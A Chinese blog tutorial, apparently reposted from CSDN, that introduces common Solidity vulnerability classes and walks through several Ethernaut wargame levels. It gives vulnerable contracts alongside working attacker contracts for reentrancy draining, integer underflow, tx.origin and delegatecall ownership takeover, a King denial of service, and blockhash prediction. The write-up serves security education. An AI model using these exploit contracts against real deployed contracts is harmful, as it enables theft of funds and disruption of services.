以太坊中常见的代码安全问题以及在Ethernaut平台解题的演示

以太坊中常见的代码安全问题

下面列出了已知的常见的 Solidity 的漏洞类型:

  1. Reentrancy - 重入
  2. Access Control - 访问控制
  3. Arithmetic Issues - 算术问题(整数上下溢出)
  4. Unchecked Return Values For Low Level Calls - 未严格判断不安全函数调用返回值
  5. Denial of Service - 拒绝服务
  6. Bad Randomness - 可预测的随机处理
  7. Front Running
  8. Time manipulation
  9. Short Address Attack - 短地址攻击
  10. Unknown Unknowns - 其他未知

为了让本节更有趣,我们尝试使用在线的remix结合ethernaut看一下攻击效果。Remix IDE是开发以太坊智能合约的在线IDE工具,部署简单的智能合约非常方便。需要使用谷歌或者火狐的浏览器,且安装了MetaMask 插件。https://remix.ethereum.org/#optimize=false

Ethernaut 是 Zeppelin 提供的一个基于 Web3 和 Solidity 的智能合约审计训练平台,复现了智能合约中可能出现的各种安全问题。现在已经有20+题目。https://ethernaut.zeppelin.solutions/

第10关:Re-entrancy

  1. 首先,我们直接来看问题10,reentrancy重入问题。这个问题和我们上次讲的问题很像。
pragma solidity ^0.4.18;

contract Reentrance {

  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] += msg.value;
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  function() public payable {}
}

首先来复习一下这个代码的问题,以及如何可以利用这个漏洞。
https://blog.csdn.net/z714405489/article/details/83960019 的结尾

有了基本思路之后,可以撰写代码:

contract Attack {

    address instance_address = 0x476a5eebd3587e89d1f4f81b1fa7a724f834a04c;
    Reentrance target = Reentrance(instance_address);

    function Attack() payable{}

    function donate() public payable {
        target.donate.value(msg.value)(this);
    }

    function hack() public {
        target.withdraw(0.5 ether);
    }

    function get_balance() public view returns(uint) {
        return target.balanceOf(this);
    }

    function my_eth_bal() public view returns(uint) {
        return address(this).balance;
    }

    function ins_eth_bal() public view returns(uint) {
        return instance_address.balance;
    }

    function () public payable {
        target.withdraw(0.5 ether);
    }
}

把以上代码拷贝到remix ide中,编译之后将合约部署到网络上,此时查看,可以看到

  • balance 为 0
  • Reentrance 账户余额 1 ether
  • Attack 账户余额 0 ether

在这里插入图片描述
然后调用donate函数,以攻击者合约的身份向题目地址转账 1 ether;首先在value处填写1 ether;
在这里插入图片描述
然后调用donate函数:

  • balance 为 1
  • Reentrance 账户余额 2 ether
  • Attack 账户余额 0 ether

效果如下:

  • balance 下溢
  • Reentrance 账户余额 0 ether
  • Attack 账户余额 2 ether

在这里插入图片描述
然后开始攻击,调用hack():

一般来说,在调用hack的时候会报出不能正确估计gas的问题,尽量多给它一些gas。
如果hack正常工作,那么结果如下:
在这里插入图片描述

攻击的思路依然是在fallback函数上做文章:

function () public payable {
        target.withdraw(0.5 ether);
    }

在账户被修改余额前不断递归调用此函数,造成了银行账户被取光的效果。

为了巩固对上一个漏洞的理解,我们来接着看第一关,Fallback。

第1关:Fallback

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallback is Ownable {

  mapping(address => uint) public contributions;

  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }

  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

这一关中,直接给出了源码,然后要求的通关条件是

  • 成为合约的 owner
  • 清零 balance

合约构造函数 Fallback() 中初始化拥有者贡献度为 1000 ether。
我们可以通过转钱提升贡献度,当贡献度超过 1000 ether 即可成为合约 owner。
但在 contribute() 中限制了每次只能转小于 0.001 ether 的钱。很明显,此路不通。

如何另辟蹊径呢?

其实成为 owner 还有另一种方式,我们仔细看合约的 fallback 函数,即最下方的无名函数。当合约账户收到一笔转账时会自动调用 fallback 函数。在这里,只要转账金额大于0,并且贡献大于0,即可成为 owner。
在这里插入图片描述

调用 help() 函数,了解下如何进行转钱操作。还需要注意一下 Wei 和 Ether 的转换。

contract.contribute({value: 1})
contract.sendTransaction({value: 1})
contract.withdraw()

这里有另一个问题,如何调用fallback。可以使用**instance.sendTransaction({})**的方法来触发fallback函数。

第5关:算术问题(整数上下溢出)

这里继续加深对第一个重入问题的理解,在最后一步hack成功之后,自己账户余额是一个很大的数值。这是怎么回事呢?

2**256   = 115792089237316195423570985008687907853269984665640564039457584007913129639936L

这里就涉及到整数的上溢和下溢。

以太坊虚拟机(EVM)为整数指定固定大小的数据类型。这意味着一个整形变量只能表达一定范围的数字。例如,uint8,只能存储[0,255]之间的数字,如果想存储256,那么就会上溢,从而将变量的值变为0。相对应的,如果从一个uint8类型的值为0的变量中减1,就会发生下溢,该变量会变成255。如果不加注意,而且有没有对用户输入执行检查,就有可能发生攻击。

contract TimeLock {

    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = now + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0);
        require(now > lockTime[msg.sender]);
        balances[msg.sender] = 0;
        msg.sender.transfer(balances[msg.sender]);
    }
}

这份合约的设计就像是一个时间保险库,用户可以将 Ether 存入合约,并在那里锁定至少一周。而且通过使用increaseLockTime函数,用户可以延长超过1周的时间,但是一旦存放,用户可以确信他们的 Ether 会被安全锁定至少一周。

上述代码有什么问题呢?(注意lockTime的时间是uint类型)

那我们来看ethernaut的第5关。
目标:
初始化的时候给了20个token,需要通过攻击来获取更多大量的token。

pragma solidity ^0.4.18;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  function Token(uint _initialSupply) {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public constant returns (uint balance) {
    return balances[_owner];
  }
}

同理,可以利用溢出。
比较明显的require(balances[msg.sender] - _value >= 0);balances[msg.sender] -= _value;,存在整数溢出问题。因为uint是无符号数,会让其变为负数即会转换为很大的正数。
题目中初始化为20,当转21的时候则会发生下溢,导致数值变大其数值为2**256 - 1

>>> 2**256 - 1
115792089237316195423570985008687907853269984665640564039457584007913129639935L

在这里插入图片描述

第4关:用户地址与合约地址

看完前面几个问题之后,继续看一下其他方面的问题。

第四关telephone。

tx.origin是一个address类型,表示交易的发送者,msg.sender则表示为消息的发送者。在同一个合约中,它们是等价的。

pragma solidity ^0.4.18;
contract Demo {
    event logData(address);
    
    function a(){
        logData(tx.origin);
        logData(msg.sender);
    }
}

在这里插入图片描述
但是在不同合约中,tx.origin表示用户地址,msg.sender则表示合约地址。
在这里插入图片描述
所以Exploit比较明显了

contract exploit {
    Telephone expTelephone;
    function exploit(address aimAddr){
        expTelephone = Telephone(aimAddr);
    }
 
    function hack(){
        expTelephone.changeOwner(tx.origin);
    }
}

第5关: Access Control 访问控制

访问控制,在使用 Solidity 编写合约代码时,有几种默认的变量或函数访问域关键字:private, public, external 和 internal,对合约实例方法来讲,默认可见状态为 public,而合约实例变量的默认可见状态为 private。

  • public 标记函数或变量可以被任何账户调用或获取,可以是合约里的函数、外部用户或继承该合约里的函数
  • external 标记的函数只能从外部访问,不能被合约里的函数直接调用,但可以使用 this.func() 外部调用的方式调用该函数
  • private 标记的函数或变量只能在本合约中使用(注:这里的限制只是在代码层面,以太坊是公链,任何人都能直接从链上获取合约的状态信息)
  • internal 一般用在合约继承中,父合约中被标记成 internal
    状态变量或函数可供子合约进行直接访问和调用(外部无法直接获取和调用)

Solidity 中除了常规的变量和函数可见性描述外,这里还需要特别提到的就是两种底层调用方式 call和 delegatecall:

  • call 的外部调用上下文是外部合约
  • delegatecall 的外部调用上下文是调用合约上下文

DELEGATECALL基本就是说“我是一个合约,我授权(delegating)你对我的storage做任何事情”。delegatecall的安全问题是它必须要能够信任接收方的合约会善待它的storage。DELEGATECALL是对CALLCODE的改进,因为CALLCODE不保存msg.send和msg.value。譬如如果A调用B,B又DELEGATECALL给C,那么在DELEGATECALL中的msg.sender是A,而在CALLCODE中的msg.sender是B。

如果A使用CALL调用B,那么B的代码的运行上下文就是B;如果A使用DELEGATECALL调用B,那么B的代码的运行上下文是A的上下文。简单的用图表示就是:
在这里插入图片描述
有了这些背景知识,我们来看一下Ethernaut中的题目,第六关delegation。过关要求是要成为合约实例的owner。

pragma solidity ^0.4.10;

contract Delegate {
    address public owner;

    function Delegate(address _owner) {
        owner = _owner;
    }
    function pwn() {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    function Delegation(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }
    function () {
        if (delegate.delegatecall(msg.data)) {
            this;
        }
    }
}

思路其实是很清晰,因为Delegation合约中的delegatecall函数参数可控,导致可以在合约内部执行任意函数,只需调用Delegate合约中的pwn函数,即可将 owner 变成自己。这里需要注意的问题是,delegatecall的参数问题。不是直接把函数名字传递过去。

在这里插入图片描述

原因是,这里需要知道**Ethereum Virtual Machine(EVM)**如何确定执行合约的哪个函数。合约最后都会被编译成bytecode,而发起一个transaction要执行合约里的某个函数时,交易里的data字段同样也是bytecode而不是人看得懂的函数名称。 以一个简单的合约为例:

contract Multiply {

   function multiply(int x, int y) constant returns(int) {

       return x*y; 

    }

}

编译完的bytecode:

6060604052341561000c57fe5b5b60ae8061001b6000396000f30060606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633c4308a814603a575bfe5b3415604157fe5b605e60048080359060200190919080359060200190919050506074565b6040518082815260200191505060405180910390f35b600081830290505b929150505600a165627a7a72305820c40f61d36a3a1b7064b58c57c89d5c3d7c73b9116230f9948806b11836d2960c0029

如果要执行multiply函数,算出8*7等于多少,transaction里的data字段会是

0x3c4308a800000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000007

分成三个部分: 第一个是四个byte的3c4308a8,第二和第三个分别是32 byte长的参数,8和7。

3c4308a8是multiply函式的 signature,是取函数名称和参数类型进行哈希后取前四个byte而得(不包含 0x ):

sha3("multiply(int256,int256)"));
//0x3c4308a8851ef99b4bfa5ffd64b68e5f2b4307725b25ad0d14040bdb81e3bafcsha3("multiply(int256,int256)")).substr(2,8);
//3c4308a8

EVM就是靠函式的signature来知道该执行哪个函式的。在合约编译完的bytecode里搜寻也能找到此signature。

在这里插入图片描述

第9关:DoS拒绝服务攻击

这里参看Ethernaut的第九关,king。

合约代码逻辑很简单,谁给的钱多谁就能成为 King,并且将前任 King 付的钱归还。当提交 instance 时,题目会重新夺回 King 的位置,需要解题者阻止其他人成为 King。

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract King is Ownable {

  address public king;
  uint public prize;

  function King() public payable {
    king = msg.sender;
    prize = msg.value;
  }

  function() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }
}

在这里插入图片描述
然后提交一些币。

在这里插入图片描述

回顾一下 Solidity 中几种转币方式。

  • .transfer()

当发送失败时会 throw; 回滚状态
只会传递 2300 Gas 供调用,防止重入(reentrancy)

  • .send()

当发送失败时会返回 false 布尔值
只会传递 2300 Gas 供调用,防止重入(reentrancy)

  • .gas().call.value()()

当发送失败时会返回 false
传递所有可用 Gas 供调用,不能有效防止重入(reentrancy)

当我们成为 King 之后,如果有人出价比我们高,会首先把钱退回给我们,使用的是 transfer()。上面提到,当 transfer() 调用失败时会回滚状态,那么如果合约在退钱这一步骤一直调用失败的话,代码将无法继续向下运行,其他人就无法成为新的 King。

部署一个新的合约,当收到转账时主动抛出错误。

pragma solidity ^0.4.18;

contract Attack {
    address instance_address = instance_address_here;

    function Attack() payable{}

    function hack() public {
        instance_address.call.value(1.1 ether)();
    }

    function () public {
        revert();
    }
}

第3关: Bad Randomness - 可预测的随机处理

伪随机问题一直都存在于现代计算机系统中,但是在开放的区块链中,像在以太坊智能合约中编写的基于随机数的处理逻辑感觉就有点不切实际了,由于人人都能访问链上数据,合约中的存储数据都能在链上查询分析得到。如果合约代码没有严格考虑到链上数据公开的问题去使用随机数,可能会被攻击者恶意利用来进行 “作弊”。

pragma solidity ^0.4.18;

contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

通关条件

连续猜对 10 次
FACTOR 为 2^255,coinFlip 结果只会为 1 或 0
相当于一个猜硬币正反面的游戏

这是经典的区块链伪随机数的问题。
在以太坊智能合约中编写的基于随机数的处理逻辑是十分危险的,因为区块链上的数据是公开的,所有人都可以看见,利用公开的数据来生成随机数是不明智的。
此外,像 timestamps 这样矿工可控的数据也不宜作为种子。

在这道题中,出题人利用 block.blockhash(block.number-1) 来生成随机数,这是可预测的。我们可以部署一个新的合约,先进行随机数的预测,再进行竞猜。

contract Attack {
  CoinFlip fliphack;
  address instance_address = instance_address_here;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function Attack() {
    fliphack = CoinFlip(instance_address);
  }

  function predict() public view returns (bool){
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    return coinFlip == 1 ? true : false;
  }

  function hack() public {
    bool guess = predict();
    fliphack.flip(guess);
  }
}

只需调用 10 次 hack() 函数即可。
注意:
若遇上了meatamask 无限转圈的问题,可能是版本问题,下载一个老版本就行。但是extension store没有老版本,后来还是github上发现,在chrome://extensions右上角打开开发者模式,然后可以选择文件夹。

猜你喜欢

转载自blog.csdn.net/z714405489/article/details/83960176
今日推荐